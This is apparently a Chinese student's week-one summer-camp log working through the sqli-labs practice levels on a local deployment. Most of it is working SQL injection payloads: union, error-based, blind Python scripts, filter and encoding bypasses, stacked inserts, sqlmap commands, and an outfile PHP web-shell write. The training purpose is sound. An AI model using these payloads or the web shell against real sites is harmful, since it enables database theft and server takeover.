2023/07/16:夏令营week1记录:sql-lab

判断封闭过滤->搜集信息(数据库名、表名、字段名等)->注入
部署在localhost:8081

Page 1

Less 1

依标题这是get型,没有过滤(用#会直接报错)
尝试下?id=1',报错,再用?id=1'--+,字符型
输入?id=1' order by 3--+正常显示,改为4报错,判断有3列
获得数据库信息:?id=-1' union select 1,database(),3--+结果为security
表:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+结果为users
字段:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+由题目,选择username和password
结果:?id=-1' union select 1,2,group_concat(username,id,password) from users --+

Less 2

跟上一题差不多,不过数字型去掉单引号即可

Less 3

输入?id=1’时报错信息中有括号,在单引号后补个括号后剩下步骤与Less 1差不多

Less 4

输入?id=1’正常,输入?id=1”报错且报错信息中有括号,与Less 1类似

Less 5

题目说明本题双注
单引号闭合
方法一:双注
双注: 当查询语句的前面出现聚合函数 就是多个返回结果count()就是多行的意思 后面的查询结果代码会以错误的形式显示出来
原理:
count等聚合函数之后,如果使用分组语句,就会把查询的一部分以错误的形式显示出来
可能使用到的语句:
rand():遵循四舍五入把原值转化为指定小数位数,当不指定时,返回一个介于 0 到 1(不包括 0 和 1)之间的伪随机 float 值
floor:向下舍入为指定小数位数
ceiling:向上舍入为指定小数位数
注入语句:
select count(*) from [table] group by concat('~',([真正的查询语句]),'~',floor(rand(0)*2))

select count(*),concat_ws(char(32,58,32),([查询语句]),floor(rand(0)*2)) as a from [table] group by a
使用floor(rand()*2)返回结果只有0和1,当为0时报错
获得数据库信息:?id=-1' union all select count(*),2,concat( '~',(select schema_name from information_schema.schemata limit 4,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
获得表:?id=-1' union all select count(*),2,concat( '~',(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
获得字段:?id=-1' union all select count(*),1,concat( '~',(select column_name from information_schema.columns where table_name= 'users' limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
结果:?id=-1' union all select count(*),1,concat( '~',(select concat(id,username,password) from users limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
方法二:盲注
本题无回显也可以考虑盲注
由于有报错回显,可使用布尔盲注

Less 6

双引号闭合,剩下步骤与上相同
使用sqlmap:
python sqlmap.py -u “http://localhost:8081/Less-6/?id=1" –current-db
返回:security

Less 7

导出文件型
使用outfile 写入到服务器,可以利用这个漏洞写入一句话马
需要验证几个条件:
1.获取文件的可读
1')) and (select count(*) from mysql.user)>0 %23
2.注入文件
id=-1')) union select 1,2,3 into outfile "绝对地址" %23
3.id=-1')) union select 1,"<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" %23
但尝试后出不来

可以让sqlmap执行相同工作(

Less 8

布尔型盲注
找了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

success_url = "http://localhost:8081/Less-8/?id=1"
success_response_len = len(requests.get(success_url).text)

def get_DBName_len():
DBName_len = 0
url_template = success_url + "' and (length(database())={0}) %2D%2D%20"
for i in range(1,20):
url = url_template.format(i)
response = requests.get(url)
if len(response.text) == success_response_len:
DBName_len = i
print("DBName_len is:",DBName_len)
break
return DBName_len

get_DBName_len()

Less 9 & 10

均为时间盲注
引号闭合不同

1
2
3
?id=1' and if(length(database())=8,sleep(5),1)--+ 
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

Less 11 - 14

与 1-4 类似,但改为POST型

Less 15 & 16

post时间盲注,引号闭合不同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
from time import time
url = "http://192.168.64.135/Less-15/"
char = "abcdefghijklmnopqrstuvwxyz_"
print("start!")
for i in range(0,10):
database = ""
for j in range(1,20):
for str in char:

time1 = time()
data = {'uname':"admin'and if((mid((select schema_name from information_schema.schemata limit %d,1),%d,1))='%s',sleep(0.1),1)#"%(i,j,str),'passwd':"1"}
res = requests.post(url,data=data)
//使用mid截断判断
time2 = time()

if (time2-time1 > 0.1 ):
database += str
#print(database)
break
print("the %d database: "% (i+1))
print(database)
print("end!")

Less 17

根据提示为密码更新,尝试后发现有报错信息
报错注入:

1
2
3
4
' and updatexml(1, concat(0x7e,database(),0x7e),1) # 数据库
' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) # 数据表
' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)# 字段
' and updatexml(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e),1) # 数据

Less 18

先对ip尝试注入,无效
用admin/admin登录,发现存在回显显示了User Agent
测试闭合,存在报错信息

1
2
' or updatexml(1, concat(0x7e,database(),0x7e),1) or ' //获得数据库
余下与上相似

Less 19

用admin/admin登录,存在回显Referer
测试闭合,存在报错信息
与18同,但是换了个位置

Less 20(写不出来,修改cookie就收不到请求包)

针对cookie头部注入
(跑不出来)
cookie中的uname补单引号会出现报错信息,可以进行报错注入
也可直接使用联合注入语句

Page 2

Less 21

仍然是在cookie注入,但是经过base64编码,将注入语句编码即可
该题为')闭合

Less 22

与21区别闭合改为双引号

Less 23

过滤了注释,无法用#--

1
2
3
4
5
?id=1 ' union select 1,2,3 '
?id=' union select 1,2,database() '
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' or '1' = '
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' or '1' = '
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

Less 24

二次注入:对二次调用函数没有进行过滤,导致用户可以通过构造payload绕过去修改其他用户的密码
先注册账号admin ' #并登录,然后对密码进行修改
登录admin,使用刚刚修改的密码发现登录成功

Less 25

过滤or和and
查看源码,黑名单将这两个关键字替换为空格,可以使用双写绕过
可使用报错注入,直接联合注入也有回显

Less 25a

25的升级变为盲注
联合注入+时间盲注脚本

Less 26 & 26a

过滤注释和空格
也可以直接使用报错注入
关于过滤:

1
2
3
4
绕过空格:%09 tab键 %0a 新建一行 %0c 新的一页 %od return功能 %0b tab键垂直 %a0 空格
绕过and:&&
绕过or:||
绕过注释:注释,分号闭合,冒号%00截断

联合注入:

1
?id='%a0union%a0select%a01,2,database()%a0'

报错注入:

1
?id='||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1

26a升级盲注,但使用联合注入union select 1,2,3仍有回显

Less 27 & 27a

过滤union和select两个关键字及注释空格
可以使用大小写绕过

1
?id='%0aUnIoN%0aSeleCt%0a1,2,3;%00

Less 28 & 28a

在27的基础上增加大小写的过滤
?id=')%A0UnIoN%A0SeLeCt%A01,3,4%26%26%a0('1

Less 29

看wp需要利用HPP漏洞
HPP是“ HTTP Parameter Pollution ”的缩写,即“ HTTP 参数污染 ”,
通常在一个请求中,同样名称的参数只会出现一次,但是在 HTTP 协议中是允许同样名称的参数出现多次的。
在这里选择注入?id=1&id=0,第一个参数进入WAF(jsp服务器,在这题起到防火墙的作用),第二个参数则直接输出,在第二个参数中注入即可

1
?id=1&id=0' union select 1,2,database() --+

Less 30

同样方法,改双引号

1
?id=1&id=0' union select 1,2,database() --+

Less 31

同样方式

1
?id=1&id=0")%20union%20select%201,2,database()%20--+

Less 32

会对特殊字符添加转义字符\(如addslashes()函数)
这里需要宽字节注入,利用数据库编码与前端编码不一致

1
?id=-1%df' union select 1,2,3 %23

这里%df超过两个字节,单引号逃逸

Less 33

提示绕过addslashes()
addslashes():返回在预定义字符(引号,反斜杠)之前添加反斜杠的字符串。
与Less 32同

Less 34(写不出来)

改为POST,与上差不多,但跑不出来

Less 35

这里没有引号闭合和任何过滤,直接输入联合注入语句即可

Less 36

转义字符

1
\x00 \n \r \ ' " \x1a

可以用相同方法绕过

1
?id=-1%df' union select 1,2,database() --+

Less 37

改为post型,大体与上同

Page 3

Less 38

需要堆叠注入,即通过将多条语句通过;隔开写在一起构成多语句

1
?id=1';insert into users(id,username,password) values(666,'x','x') --+

Less 39

不用闭合直接注入

1
?id=1;insert into users(id,username,password) values(666,'x','x') --+

Less 40

1
?id=1');insert into users(id,username,password) values(666,'x','x') --+

Less 41

添加了盲注,先延时注入判断字段名再使用堆叠注入即可

1
?id=1;insert into users(id,username,password) values(666,'x','x') --+

Less 42

POST型,密码处报错,单引号闭合,注入点在密码栏
点击注册账号,提示为堆叠注入需创造新账号
在密码栏处输入联合注入语句获得字段等信息后进行堆叠注入

Less 43

将闭合改为')余下相同

Less 44

改为盲注,单引号闭合,余下类似

Less 45

盲注,闭合'),同上

Less 46

输入sort的值,说明与order by拼接
输入4,存在报错语句,采用报错注入

1
?sort=4 and updatexml(1,concat(0x7e,database(),0x7e),1)

Less 47

1
?sort=4' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

Less 48 & 49

两题均为盲注,均可使用延时注入

Less 50 & 51

两题均有报错信息,考虑报错注入

Less 52 & 53

无回显,选择盲注

参考

https://blog.51cto.com/u_13927568/5830763
https://blog.csdn.net/wang_624/article/details/101913584